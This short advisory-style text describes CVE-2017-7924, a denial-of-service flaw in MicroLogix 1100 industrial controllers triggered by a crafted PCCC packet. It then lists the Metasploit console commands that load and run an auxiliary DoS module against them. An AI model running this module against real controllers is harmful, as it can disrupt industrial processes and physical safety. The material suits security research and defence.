A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(allen_bradley_pccc) > show actions
...actions...
msf auxiliary(allen_bradley_pccc) > set ACTION < action-name >
msf auxiliary(allen_bradley_pccc) > show options
...show and set options...
msf auxiliary(allen_bradley_pccc) > run
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